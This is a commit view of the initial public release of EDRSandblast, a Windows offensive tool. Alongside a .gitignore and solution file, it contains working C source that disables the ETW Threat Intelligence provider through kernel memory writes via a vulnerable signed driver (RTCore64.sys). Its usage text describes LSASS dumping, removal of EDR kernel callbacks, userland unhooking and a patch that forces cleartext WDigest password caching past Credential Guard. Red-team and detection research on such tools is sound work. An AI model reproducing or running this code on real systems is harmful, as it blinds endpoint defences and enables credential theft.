mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-16 03:51:17 +00:00
Initial commit for public version
Co-authored-by: Thomas Diot <thomas.diot@wavestone.com>
This commit is contained in:
+356
@@ -0,0 +1,356 @@
|
|||||||
|
## Ignore Visual Studio temporary files, build results, and
|
||||||
|
## files generated by popular Visual Studio add-ons.
|
||||||
|
##
|
||||||
|
## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
|
||||||
|
|
||||||
|
# User-specific files
|
||||||
|
*.rsuser
|
||||||
|
*.suo
|
||||||
|
*.user
|
||||||
|
*.userosscache
|
||||||
|
*.sln.docstates
|
||||||
|
|
||||||
|
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||||
|
*.userprefs
|
||||||
|
|
||||||
|
# Mono auto generated files
|
||||||
|
mono_crash.*
|
||||||
|
|
||||||
|
# Build results
|
||||||
|
[Dd]ebug/
|
||||||
|
[Dd]ebugPublic/
|
||||||
|
[Rr]elease/
|
||||||
|
[Rr]eleases/
|
||||||
|
x64/
|
||||||
|
x86/
|
||||||
|
[Aa][Rr][Mm]/
|
||||||
|
[Aa][Rr][Mm]64/
|
||||||
|
bld/
|
||||||
|
[Bb]in/
|
||||||
|
[Oo]bj/
|
||||||
|
[Ll]og/
|
||||||
|
[Ll]ogs/
|
||||||
|
|
||||||
|
# Visual Studio 2015/2017 cache/options directory
|
||||||
|
.vs/
|
||||||
|
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||||
|
#wwwroot/
|
||||||
|
|
||||||
|
# Visual Studio 2017 auto generated files
|
||||||
|
Generated\ Files/
|
||||||
|
|
||||||
|
# MSTest test Results
|
||||||
|
[Tt]est[Rr]esult*/
|
||||||
|
[Bb]uild[Ll]og.*
|
||||||
|
|
||||||
|
# NUnit
|
||||||
|
*.VisualState.xml
|
||||||
|
TestResult.xml
|
||||||
|
nunit-*.xml
|
||||||
|
|
||||||
|
# Build Results of an ATL Project
|
||||||
|
[Dd]ebugPS/
|
||||||
|
[Rr]eleasePS/
|
||||||
|
dlldata.c
|
||||||
|
|
||||||
|
# Benchmark Results
|
||||||
|
BenchmarkDotNet.Artifacts/
|
||||||
|
|
||||||
|
# .NET Core
|
||||||
|
project.lock.json
|
||||||
|
project.fragment.lock.json
|
||||||
|
artifacts/
|
||||||
|
|
||||||
|
# StyleCop
|
||||||
|
StyleCopReport.xml
|
||||||
|
|
||||||
|
# Files built by Visual Studio
|
||||||
|
*_i.c
|
||||||
|
*_p.c
|
||||||
|
*_h.h
|
||||||
|
*.ilk
|
||||||
|
*.meta
|
||||||
|
*.obj
|
||||||
|
*.iobj
|
||||||
|
*.pch
|
||||||
|
*.pdb
|
||||||
|
*.ipdb
|
||||||
|
*.pgc
|
||||||
|
*.pgd
|
||||||
|
*.rsp
|
||||||
|
*.sbr
|
||||||
|
*.tlb
|
||||||
|
*.tli
|
||||||
|
*.tlh
|
||||||
|
*.tmp
|
||||||
|
*.tmp_proj
|
||||||
|
*_wpftmp.csproj
|
||||||
|
*.log
|
||||||
|
*.vspscc
|
||||||
|
*.vssscc
|
||||||
|
.builds
|
||||||
|
*.pidb
|
||||||
|
*.svclog
|
||||||
|
*.scc
|
||||||
|
|
||||||
|
# Chutzpah Test files
|
||||||
|
_Chutzpah*
|
||||||
|
|
||||||
|
# Visual C++ cache files
|
||||||
|
ipch/
|
||||||
|
*.aps
|
||||||
|
*.ncb
|
||||||
|
*.opendb
|
||||||
|
*.opensdf
|
||||||
|
*.sdf
|
||||||
|
*.cachefile
|
||||||
|
*.VC.db
|
||||||
|
*.VC.VC.opendb
|
||||||
|
|
||||||
|
# Visual Studio profiler
|
||||||
|
*.psess
|
||||||
|
*.vsp
|
||||||
|
*.vspx
|
||||||
|
*.sap
|
||||||
|
|
||||||
|
# Visual Studio Trace Files
|
||||||
|
*.e2e
|
||||||
|
|
||||||
|
# TFS 2012 Local Workspace
|
||||||
|
$tf/
|
||||||
|
|
||||||
|
# Guidance Automation Toolkit
|
||||||
|
*.gpState
|
||||||
|
|
||||||
|
# ReSharper is a .NET coding add-in
|
||||||
|
_ReSharper*/
|
||||||
|
*.[Rr]e[Ss]harper
|
||||||
|
*.DotSettings.user
|
||||||
|
|
||||||
|
# TeamCity is a build add-in
|
||||||
|
_TeamCity*
|
||||||
|
|
||||||
|
# DotCover is a Code Coverage Tool
|
||||||
|
*.dotCover
|
||||||
|
|
||||||
|
# AxoCover is a Code Coverage Tool
|
||||||
|
.axoCover/*
|
||||||
|
!.axoCover/settings.json
|
||||||
|
|
||||||
|
# Visual Studio code coverage results
|
||||||
|
*.coverage
|
||||||
|
*.coveragexml
|
||||||
|
|
||||||
|
# NCrunch
|
||||||
|
_NCrunch_*
|
||||||
|
.*crunch*.local.xml
|
||||||
|
nCrunchTemp_*
|
||||||
|
|
||||||
|
# MightyMoose
|
||||||
|
*.mm.*
|
||||||
|
AutoTest.Net/
|
||||||
|
|
||||||
|
# Web workbench (sass)
|
||||||
|
.sass-cache/
|
||||||
|
|
||||||
|
# Installshield output folder
|
||||||
|
[Ee]xpress/
|
||||||
|
|
||||||
|
# DocProject is a documentation generator add-in
|
||||||
|
DocProject/buildhelp/
|
||||||
|
DocProject/Help/*.HxT
|
||||||
|
DocProject/Help/*.HxC
|
||||||
|
DocProject/Help/*.hhc
|
||||||
|
DocProject/Help/*.hhk
|
||||||
|
DocProject/Help/*.hhp
|
||||||
|
DocProject/Help/Html2
|
||||||
|
DocProject/Help/html
|
||||||
|
|
||||||
|
# Click-Once directory
|
||||||
|
publish/
|
||||||
|
|
||||||
|
# Publish Web Output
|
||||||
|
*.[Pp]ublish.xml
|
||||||
|
*.azurePubxml
|
||||||
|
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||||
|
# but database connection strings (with potential passwords) will be unencrypted
|
||||||
|
*.pubxml
|
||||||
|
*.publishproj
|
||||||
|
|
||||||
|
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||||
|
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||||
|
# in these scripts will be unencrypted
|
||||||
|
PublishScripts/
|
||||||
|
|
||||||
|
# NuGet Packages
|
||||||
|
*.nupkg
|
||||||
|
# NuGet Symbol Packages
|
||||||
|
*.snupkg
|
||||||
|
# The packages folder can be ignored because of Package Restore
|
||||||
|
**/[Pp]ackages/*
|
||||||
|
# except build/, which is used as an MSBuild target.
|
||||||
|
!**/[Pp]ackages/build/
|
||||||
|
# Uncomment if necessary however generally it will be regenerated when needed
|
||||||
|
#!**/[Pp]ackages/repositories.config
|
||||||
|
# NuGet v3's project.json files produces more ignorable files
|
||||||
|
*.nuget.props
|
||||||
|
*.nuget.targets
|
||||||
|
|
||||||
|
# Microsoft Azure Build Output
|
||||||
|
csx/
|
||||||
|
*.build.csdef
|
||||||
|
|
||||||
|
# Microsoft Azure Emulator
|
||||||
|
ecf/
|
||||||
|
rcf/
|
||||||
|
|
||||||
|
# Windows Store app package directories and files
|
||||||
|
AppPackages/
|
||||||
|
BundleArtifacts/
|
||||||
|
Package.StoreAssociation.xml
|
||||||
|
_pkginfo.txt
|
||||||
|
*.appx
|
||||||
|
*.appxbundle
|
||||||
|
*.appxupload
|
||||||
|
|
||||||
|
# Visual Studio cache files
|
||||||
|
# files ending in .cache can be ignored
|
||||||
|
*.[Cc]ache
|
||||||
|
# but keep track of directories ending in .cache
|
||||||
|
!?*.[Cc]ache/
|
||||||
|
|
||||||
|
# Others
|
||||||
|
ClientBin/
|
||||||
|
~$*
|
||||||
|
*~
|
||||||
|
*.dbmdl
|
||||||
|
*.dbproj.schemaview
|
||||||
|
*.jfm
|
||||||
|
*.pfx
|
||||||
|
*.publishsettings
|
||||||
|
orleans.codegen.cs
|
||||||
|
|
||||||
|
# Including strong name files can present a security risk
|
||||||
|
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||||
|
#*.snk
|
||||||
|
|
||||||
|
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||||
|
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||||
|
#bower_components/
|
||||||
|
|
||||||
|
# RIA/Silverlight projects
|
||||||
|
Generated_Code/
|
||||||
|
|
||||||
|
# Backup & report files from converting an old project file
|
||||||
|
# to a newer Visual Studio version. Backup files are not needed,
|
||||||
|
# because we have git ;-)
|
||||||
|
_UpgradeReport_Files/
|
||||||
|
Backup*/
|
||||||
|
UpgradeLog*.XML
|
||||||
|
UpgradeLog*.htm
|
||||||
|
ServiceFabricBackup/
|
||||||
|
*.rptproj.bak
|
||||||
|
|
||||||
|
# SQL Server files
|
||||||
|
*.mdf
|
||||||
|
*.ldf
|
||||||
|
*.ndf
|
||||||
|
|
||||||
|
# Business Intelligence projects
|
||||||
|
*.rdl.data
|
||||||
|
*.bim.layout
|
||||||
|
*.bim_*.settings
|
||||||
|
*.rptproj.rsuser
|
||||||
|
*- [Bb]ackup.rdl
|
||||||
|
*- [Bb]ackup ([0-9]).rdl
|
||||||
|
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||||
|
|
||||||
|
# Microsoft Fakes
|
||||||
|
FakesAssemblies/
|
||||||
|
|
||||||
|
# GhostDoc plugin setting file
|
||||||
|
*.GhostDoc.xml
|
||||||
|
|
||||||
|
# Node.js Tools for Visual Studio
|
||||||
|
.ntvs_analysis.dat
|
||||||
|
node_modules/
|
||||||
|
|
||||||
|
# Visual Studio 6 build log
|
||||||
|
*.plg
|
||||||
|
|
||||||
|
# Visual Studio 6 workspace options file
|
||||||
|
*.opt
|
||||||
|
|
||||||
|
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||||
|
*.vbw
|
||||||
|
|
||||||
|
# Visual Studio LightSwitch build output
|
||||||
|
**/*.HTMLClient/GeneratedArtifacts
|
||||||
|
**/*.DesktopClient/GeneratedArtifacts
|
||||||
|
**/*.DesktopClient/ModelManifest.xml
|
||||||
|
**/*.Server/GeneratedArtifacts
|
||||||
|
**/*.Server/ModelManifest.xml
|
||||||
|
_Pvt_Extensions
|
||||||
|
|
||||||
|
# Paket dependency manager
|
||||||
|
.paket/paket.exe
|
||||||
|
paket-files/
|
||||||
|
|
||||||
|
# FAKE - F# Make
|
||||||
|
.fake/
|
||||||
|
|
||||||
|
# CodeRush personal settings
|
||||||
|
.cr/personal
|
||||||
|
|
||||||
|
# Python Tools for Visual Studio (PTVS)
|
||||||
|
__pycache__/
|
||||||
|
*.pyc
|
||||||
|
|
||||||
|
# Cake - Uncomment if you are using it
|
||||||
|
# tools/**
|
||||||
|
# !tools/packages.config
|
||||||
|
|
||||||
|
# Tabs Studio
|
||||||
|
*.tss
|
||||||
|
|
||||||
|
# Telerik's JustMock configuration file
|
||||||
|
*.jmconfig
|
||||||
|
|
||||||
|
# BizTalk build output
|
||||||
|
*.btp.cs
|
||||||
|
*.btm.cs
|
||||||
|
*.odx.cs
|
||||||
|
*.xsd.cs
|
||||||
|
|
||||||
|
# OpenCover UI analysis results
|
||||||
|
OpenCover/
|
||||||
|
|
||||||
|
# Azure Stream Analytics local run output
|
||||||
|
ASALocalRun/
|
||||||
|
|
||||||
|
# MSBuild Binary and Structured Log
|
||||||
|
*.binlog
|
||||||
|
|
||||||
|
# NVidia Nsight GPU debugger configuration file
|
||||||
|
*.nvuser
|
||||||
|
|
||||||
|
# MFractors (Xamarin productivity tool) working folder
|
||||||
|
.mfractor/
|
||||||
|
|
||||||
|
# Local History for Visual Studio
|
||||||
|
.localhistory/
|
||||||
|
|
||||||
|
# BeatPulse healthcheck temp database
|
||||||
|
healthchecksdb
|
||||||
|
|
||||||
|
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||||
|
MigrationBackup/
|
||||||
|
|
||||||
|
# Ionide (cross platform F# VS Code tools) working folder
|
||||||
|
.ionide/
|
||||||
|
|
||||||
|
# Exclude downloaded kernels
|
||||||
|
Offsets/*.exe
|
||||||
|
Offsets/*.dll
|
||||||
|
/Offsets/nt
|
||||||
|
/Offsets/wd
|
||||||
@@ -0,0 +1,31 @@
|
|||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Version 16
|
||||||
|
VisualStudioVersion = 16.0.31129.286
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EDRSandblast", "EDRSandblast\EDRSandblast.vcxproj", "{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Debug|x86 = Debug|x86
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
Release|x86 = Release|x86
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x64.ActiveCfg = Debug|x64
|
||||||
|
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x64.Build.0 = Debug|x64
|
||||||
|
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x86.ActiveCfg = Debug|Win32
|
||||||
|
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Debug|x86.Build.0 = Debug|Win32
|
||||||
|
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x64.Build.0 = Release|x64
|
||||||
|
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.ActiveCfg = Release|Win32
|
||||||
|
{7E3E2ECE-D1EB-43C6-8C83-B52B7571954B}.Release|x86.Build.0 = Release|Win32
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||||
|
SolutionGuid = {01A85934-E9FB-4355-846F-667848B78EAF}
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
||||||
@@ -0,0 +1,84 @@
|
|||||||
|
/*
|
||||||
|
|
||||||
|
--- ETW Threat Intelligence operations.
|
||||||
|
--- Inspiration and credit: https://public.cnotools.studio/bring-your-own-vulnerable-kernel-driver-byovkd/exploits/data-only-attack-neutralizing-etwti-provider
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include "ETWThreatIntel.h"
|
||||||
|
|
||||||
|
DWORD64 GetEtwThreatIntProvRegHandleAddress() {
|
||||||
|
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0) {
|
||||||
|
return 0x0;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD64 Ntoskrnlbaseaddress = FindNtoskrnlBaseAddress();
|
||||||
|
return Ntoskrnlbaseaddress + ntoskrnlOffsets.st.etwThreatIntProvRegHandle;
|
||||||
|
}
|
||||||
|
|
||||||
|
DWORD64 GetEtwThreatInt_ProviderEnableInfoAddress(BOOL verbose) {
|
||||||
|
if (ntoskrnlOffsets.st.etwThreatIntProvRegHandle == 0x0 || ntoskrnlOffsets.st.etwRegEntry_GuidEntry == 0x0 || ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo == 0x0) {
|
||||||
|
_tprintf(TEXT("[!] ETW Threat Intel ProviderEnableInfo address could not be found. This version of ntoskrnl may not implement ETW Threat Intel.\n"));
|
||||||
|
return 0x0;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE Device = GetDriverHandle();
|
||||||
|
DWORD64 etwThreatIntProvRegHandleAddress = GetEtwThreatIntProvRegHandleAddress();
|
||||||
|
|
||||||
|
DWORD64 etwThreatInt_ETW_REG_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatIntProvRegHandleAddress);
|
||||||
|
if (verbose) {
|
||||||
|
_tprintf(TEXT("[+] Found ETW Threat Intel provider _ETW_REG_ENTRY at 0x%I64x\n"), etwThreatInt_ETW_REG_ENTRYAddress);
|
||||||
|
}
|
||||||
|
DWORD64 etwThreatInt_ETW_GUID_ENTRYAddress = ReadMemoryDWORD64(Device, etwThreatInt_ETW_REG_ENTRYAddress + ntoskrnlOffsets.st.etwRegEntry_GuidEntry);
|
||||||
|
|
||||||
|
CloseHandle(Device);
|
||||||
|
|
||||||
|
return etwThreatInt_ETW_GUID_ENTRYAddress + ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo;
|
||||||
|
}
|
||||||
|
|
||||||
|
void EnableDisableETWThreatIntelProvider(BOOL verbose, BOOL enable) {
|
||||||
|
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||||
|
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
_tprintf(TEXT("[*] Attempting to %s the ETW Threat Intel provider by patching ProviderEnableInfo at 0x%I64x with 0x%02X.\n"),
|
||||||
|
enable ? TEXT("(re)enable") : TEXT("disable"), etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||||
|
HANDLE Device = GetDriverHandle();
|
||||||
|
WriteMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress, enable ? ENABLE_PROVIDER : DISABLE_PROVIDER);
|
||||||
|
|
||||||
|
BOOL finalState = isETWThreatIntelProviderEnabled(verbose);
|
||||||
|
if (finalState == enable) {
|
||||||
|
_tprintf(TEXT("[+] The ETW Threat Intel provider was successfully %s!\n"), enable ? TEXT("enabled") : TEXT("disabled"));
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("[!] Failed to %s the ETW Threat Intel provider!\n"), enable ? TEXT("enable") : TEXT("disable"));
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(Device);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void DisableETWThreatIntelProvider(BOOL verbose) {
|
||||||
|
EnableDisableETWThreatIntelProvider(verbose, FALSE);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
void EnableETWThreatIntelProvider(BOOL verbose) {
|
||||||
|
EnableDisableETWThreatIntelProvider(verbose, TRUE);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
BOOL isETWThreatIntelProviderEnabled(BOOL verbose) {
|
||||||
|
DWORD64 etwThreatInt_ProviderEnableInfoAddress = GetEtwThreatInt_ProviderEnableInfoAddress(verbose);
|
||||||
|
|
||||||
|
if (etwThreatInt_ProviderEnableInfoAddress == 0x0) {
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE Device = GetDriverHandle();
|
||||||
|
BYTE etwThreatInt_ProviderEnableInfoValue = ReadMemoryBYTE(Device, etwThreatInt_ProviderEnableInfoAddress);
|
||||||
|
CloseHandle(Device);
|
||||||
|
|
||||||
|
return etwThreatInt_ProviderEnableInfoValue == ENABLE_PROVIDER;
|
||||||
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,34 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <aclapi.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <Dbghelp.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <Psapi.h>
|
||||||
|
#include <Tchar.h>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
#include <malloc.h>
|
||||||
|
#include <assert.h>
|
||||||
|
|
||||||
|
#include "CredGuard.h"
|
||||||
|
#include "DriverOps.h"
|
||||||
|
#include "ETWThreatIntel.h"
|
||||||
|
#include "FileVersion.h"
|
||||||
|
#include "KernelCallbacks.h"
|
||||||
|
#include "KernelMemoryPrimitives.h"
|
||||||
|
#include "KernelPatternSearch.h"
|
||||||
|
#include "LSASSDump.h"
|
||||||
|
#include "NtoskrnlOffsets.h"
|
||||||
|
#include "RunAsPPL.h"
|
||||||
|
#include "WdigestOffsets.h"
|
||||||
|
#include "UserlandHooks.h"
|
||||||
|
|
||||||
|
#define SERVICE_NAME_LENGTH 8
|
||||||
|
|
||||||
|
typedef enum _START_MODE {
|
||||||
|
dump,
|
||||||
|
cmd,
|
||||||
|
credguard,
|
||||||
|
audit
|
||||||
|
} START_MODE;
|
||||||
@@ -0,0 +1,515 @@
|
|||||||
|
#include "EDRSandBlast.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
--- Execution entry point.
|
||||||
|
|
||||||
|
*/
|
||||||
|
|
||||||
|
static TCHAR* randString(TCHAR* str, size_t size)
|
||||||
|
{
|
||||||
|
const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789";
|
||||||
|
if (size) {
|
||||||
|
--size;
|
||||||
|
for (size_t n = 0; n < size; n++) {
|
||||||
|
int key = rand() % (int)(sizeof charset - 1);
|
||||||
|
str[n] = charset[key];
|
||||||
|
}
|
||||||
|
str[size] = '\0';
|
||||||
|
}
|
||||||
|
return str;
|
||||||
|
}
|
||||||
|
|
||||||
|
const TCHAR *gVulnDriverServiceName = TEXT("RTCore64");
|
||||||
|
|
||||||
|
// TCHAR* gVulnDriverServiceName;
|
||||||
|
|
||||||
|
int _tmain(int argc, TCHAR** argv) {
|
||||||
|
// Parse command line arguments and initialize variables to default values if needed.
|
||||||
|
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard> [--usermode [--unhook-method <N>]] [--kernelmode] [--dont-unload-driver] [--dont-restore-callbacks] [--driver <RTCore64.sys>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [-o | --dump-output <DUMP_FILE>]");
|
||||||
|
const TCHAR extendedUsage[] = TEXT("\n\
|
||||||
|
-h | --help Show this help message and exit.\n\
|
||||||
|
-v | --verbose Enable a more verbose output.\n\
|
||||||
|
\n\
|
||||||
|
Actions mode:\n\
|
||||||
|
\n\
|
||||||
|
\taudit Display the user-land hooks and / or Kernel callbacks with out taking actions.\n\
|
||||||
|
\tdump Dump the LSASS process, by default as 'lsass' in the current directory or at the\n\
|
||||||
|
\t specified file using -o | --output <DUMP_FILE>.\n\
|
||||||
|
\tcmd Open a cmd.exe prompt.\n\
|
||||||
|
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
|
||||||
|
\t Credential Guard is enabled on the host. No kernel-lank actions required.\n\
|
||||||
|
\n\
|
||||||
|
--usermode Perform user-land operations (DLL unhooking).\n\
|
||||||
|
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
|
||||||
|
\n\
|
||||||
|
--unhook-method <N>\n Choose the userland un-hooking technique, from the following: \n\
|
||||||
|
\n\
|
||||||
|
\t1 (Default) Uses the (probably monitored) NtProtectVirtualMemory function in ntdll to remove all\n\
|
||||||
|
\t present userland hooks.\n\
|
||||||
|
\t2 Constructs a 'unhooked' (i.e. unmonitored) version of NtProtectVirtualMemory, by\n\
|
||||||
|
\t allocating an executable trampoline jumping over the hook, and remove all present\n\
|
||||||
|
\t userland hooks.\n\
|
||||||
|
\t3 Searches for an existing trampoline allocated by the EDR itself, to get an 'unhooked'\n\
|
||||||
|
\t (i.e. unmonitored) version of NtProtectVirtualMemory, and remove all present userland\n\
|
||||||
|
\t hooks.\n\
|
||||||
|
\t4 Loads an additional version of ntdll library into memory, and use the (hopefully\n\
|
||||||
|
\t unmonitored) version of NtProtectVirtualMemory present in this library to remove all\n\
|
||||||
|
\t present userland hooks.\n\
|
||||||
|
\t5 Allocates a shellcode that uses a direct syscall to call NtProtectVirtualMemory,\n\
|
||||||
|
\t and uses it to remove all detected hooks\n\
|
||||||
|
\n\
|
||||||
|
Other options:\n\
|
||||||
|
\n\
|
||||||
|
--dont-unload-driver Keep the Micro-Star MSI Afterburner vulnerable driver installed on the host\n\
|
||||||
|
Default to automatically unsinstall the driver.\n\
|
||||||
|
--dont-restore-callbacks Do not restore the EDR drivers' Kernel Callbacks that were removed.\n\
|
||||||
|
Default to restore the callbacks.\n\
|
||||||
|
\n\
|
||||||
|
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
|
||||||
|
Default to 'RTCore64.sys' in the current directory.\n\
|
||||||
|
\n\
|
||||||
|
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
|
||||||
|
Default to 'NtoskrnlOffsets.csv' in the current directory.\n\
|
||||||
|
--wdigest-offsets <WdigestOffsets.csv> Path to the CSV file containing the required wdigest.dll's offsets\n\
|
||||||
|
(only for the 'credguard' mode).\n\
|
||||||
|
Default to 'WdigestOffsets.csv' in the current directory.\n\
|
||||||
|
\n\
|
||||||
|
-o | --output <DUMP_FILE> Output path to the dump file that will be generated by the 'dump' mode.\n\
|
||||||
|
Default to 'lsass' in the current directory.\n");
|
||||||
|
BOOL status;
|
||||||
|
TCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||||
|
GetCurrentDirectory(_countof(currentFolderPath), currentFolderPath);
|
||||||
|
|
||||||
|
if (argc < 2) {
|
||||||
|
_tprintf(TEXT("%s"), usage);
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
START_MODE startMode;
|
||||||
|
if (_tcsicmp(argv[1], TEXT("dump")) == 0) { startMode = dump; }
|
||||||
|
else if (_tcsicmp(argv[1], TEXT("cmd")) == 0) { startMode = cmd; }
|
||||||
|
else if (_tcsicmp(argv[1], TEXT("credguard")) == 0) { startMode = credguard; }
|
||||||
|
else if (_tcsicmp(argv[1], TEXT("audit")) == 0) { startMode = audit; }
|
||||||
|
else if (_tcsicmp(argv[1], TEXT("-h")) == 0 || _tcsicmp(argv[1], TEXT("--help")) == 0) {
|
||||||
|
_tprintf(TEXT("%s\n"), usage);
|
||||||
|
_tprintf(TEXT("%s\n"), extendedUsage);
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
_tprintf(TEXT("%s"), usage);
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
TCHAR driverPath[MAX_PATH * 2] = { 0 };
|
||||||
|
TCHAR driverDefaultName[] = TEXT("RTCore64.sys");
|
||||||
|
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||||
|
TCHAR wdigestOffsetCSVPath[MAX_PATH * 2] = { 0 };
|
||||||
|
TCHAR outputPath[MAX_PATH * 2] = { 0 };
|
||||||
|
BOOL verbose = FALSE;
|
||||||
|
BOOL removeVulnDriver = TRUE;
|
||||||
|
BOOL restoreCallbacks = TRUE;
|
||||||
|
BOOL userMode = FALSE;
|
||||||
|
enum unhook_method_e unhook_method = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
|
||||||
|
BOOL kernelMode = FALSE;
|
||||||
|
int lpExitCode = EXIT_SUCCESS;
|
||||||
|
struct FOUND_EDR_CALLBACKS* checkEDRDrivers = NULL;
|
||||||
|
struct FOUND_EDR_CALLBACKS* removedEDRDrivers = NULL;
|
||||||
|
BOOL ETWTIState = FALSE;
|
||||||
|
hook* hooks = NULL;
|
||||||
|
|
||||||
|
/*
|
||||||
|
gVulnDriverServiceName = calloc(SERVICE_NAME_LENGTH, sizeof(TCHAR));
|
||||||
|
randString(gVulnDriverServiceName, SERVICE_NAME_LENGTH);
|
||||||
|
*/
|
||||||
|
|
||||||
|
for (int i = 2; i < argc; i++) {
|
||||||
|
if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
|
||||||
|
_tprintf(TEXT("%s\n"), usage);
|
||||||
|
_tprintf(TEXT("%s\n"), extendedUsage);
|
||||||
|
return EXIT_SUCCESS;
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[i], TEXT("-v")) == 0 || _tcsicmp(argv[i], TEXT("--verbose")) == 0) {
|
||||||
|
verbose = TRUE;
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[i], TEXT("--usermode")) == 0) {
|
||||||
|
userMode = TRUE;
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[i], TEXT("--kernelmode")) == 0) {
|
||||||
|
kernelMode = TRUE;
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[i], TEXT("--dont-unload-driver")) == 0) {
|
||||||
|
removeVulnDriver = FALSE;
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[i], TEXT("--dont-restore-callbacks")) == 0) {
|
||||||
|
restoreCallbacks = FALSE;
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[i], TEXT("--driver")) == 0) {
|
||||||
|
i++;
|
||||||
|
if (i > argc) {
|
||||||
|
_tprintf(TEXT("%s"), usage);
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
|
||||||
|
}
|
||||||
|
else if (_tcsicmp(argv[i], TEXT("--nt-offsets")) == 0) {
|
||||||
|
i++;
|
||||||
|
if (i > argc) {
|
||||||
|
_tprintf(TEXT("%s"), usage);
|
||||||
|
return EXIT_FAILURE;
|
||||||
|
}
|
||||||
|
_tcsncpy_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), argv[i], _tcslen(argv[i]));
|
||||||
|
}
|
